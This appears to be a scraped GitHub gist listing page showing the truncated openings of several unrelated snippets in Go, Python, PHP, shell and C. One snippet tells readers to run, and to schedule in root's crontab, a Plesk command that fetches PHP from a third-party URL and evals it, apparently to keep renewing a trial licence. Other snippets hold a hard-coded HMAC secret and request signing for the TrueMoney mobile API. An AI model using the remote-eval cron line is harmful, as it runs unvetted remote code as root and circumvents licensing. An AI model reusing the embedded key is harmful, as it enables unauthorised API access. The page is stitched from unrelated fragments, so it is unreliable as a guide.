This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"github.com/gitchander/permutation" | |
"encoding/hex" | |
"crypto/sha1" | |
"crypto/hmac" | |
"strings" | |
"fmt" | |
"os" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import binascii | |
import hashlib | |
import hmac | |
def genSigninRequestOtpSignature(signinType, deviceId, timestamp): | |
""" | |
url: "https://mobile-api-gateway.truemoney.com/mobile-api-gateway/api/v1/login/otp/" | |
headers: | |
username => str (ex: "09XXXXXXXX") | |
password => str (ex: "da39a3ee5e6b4b0d3255bfef95601890afd80709") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Returns UNIX timestamp from a NTP server (RFC 5905) | |
* | |
* @param string $host Server host (default is pool.ntp.org) | |
* @param integer $timeout Timeout in seconds (default is 10 seconds) | |
* @return integer Number of seconds since January 1st 1970 | |
*/ | |
function getTimeFromNTP($host = 'pool.ntp.org', $timeout = 10) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function hashPassword($username, $password, $time) { | |
$a = hash('sha256', $username . $password); | |
$b = hash('sha256', (strlen($time) > 4) ? substr($time, 4) : $time); | |
return hash('sha256', $b . $a); | |
} | |
function generateSignature($data) { | |
return hash_hmac('sha1', $data, '9LXAVCxcITaABNK48pAVgc4muuTNJ4enIKS5YzKyGZ'); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* ----------------------------------------------------------------------------------------- | |
* Based on `https://github.com/mecha-cms/mecha-cms/blob/master/system/kernel/converter.php` | |
* ----------------------------------------------------------------------------------------- | |
*/ | |
// HTML Minifier | |
function minify_html($input) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Addition to the system here | |
plesk php -er "eval(file_get_contents('https://plesktrial.yoncu.com/?CMD=x'));"; | |
# For automating renewal create cron job as follows: | |
# Enter crontab with nano /etc/crontab | |
22 4 * * 0 root plesk php -er "eval(file_get_contents('https://plesktrial.yoncu.com/?CMD=x'));"; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* Arduino.c | |
* | |
* Created on: Jan 12, 2023 | |
* Author: larry | |
*/ | |
#include "debug.h" | |
#include <stdint.h> | |
#include "Arduino.h" |